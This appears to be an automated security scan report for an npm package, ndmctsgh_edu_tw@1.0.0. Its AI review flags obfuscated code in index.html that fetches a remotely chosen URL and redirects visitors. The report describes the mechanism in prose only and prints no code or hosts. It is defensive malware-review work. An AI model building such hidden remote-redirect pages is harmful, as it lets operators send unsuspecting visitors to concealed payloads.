Findings for this version do not establish the status of other versions. AI assessment: suspicious; recommendation: downgrade to warn. This assessment is supporting evidence; the published decision above determines the current policy. The declared HTML entry contains heavily obscured browser code that obtains a remote-selected destination and redirects the visitor. The destination is not statically recoverable from the inspected source. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Suspicious - **Recorded analysis confidence:** 94.0% - **Started:** 2026-09-29T03:12:57.216Z - **Finished:** 2026-09-29T03:14:15.015Z - **Download time:** 510 ms - **Static scan time:** 74 ms - **AI review time:** 77214 ms - **Total time:** 77799 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The declared HTML entry contains heavily obscured browser code that obtains a remote-selected destination and redirects the visitor. The destination is not statically recoverable from the inspected source. - **Trigger:** A user loads index.html in a browser. - **Impact:** An operator can route visitors to a destination hidden from static inspection, making the page a staged payload or redirect carrier. - **Evidence paths:** index.html - **Review source:** ai\_review - **Reviewed:** 2026-09-29T03:14:15.015Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The page posts an embedded key, decrypts the response into a URL, and invokes its redirect path. - **Rationale:** The sole entry point is an obfuscated, remotely directed redirect mechanism. Its concealed destination creates a concrete staged-payload risk, although the static source does not prove the final destination's content. - **Files touched:** index.html ### Review decision - **Verdict:** Suspicious - **Confidence:** 94.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Unknown - **False-positive risk:** Low - **Evidence for warning:** The package declares index.html as its only shipped main entry., The page sends a built-in host key in a JSON request to an obscured remote endpoint., The page decrypts a server-supplied value and treats it as a URL., After its check, the page automatically starts a challenge or redirects the browser. - **Evidence against:** No npm lifecycle hook is declared., The inspected code does not show credential harvesting or local file access. ## Affected versions and remediation This report applies to ndmctsgh\_edu\_tw@1.0.0. - Review the evidence and your use of ndmctsgh\_edu\_tw@1.0.0 before allowing it. Restrict the permissions described in this report. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. ## Public findings ### 1.
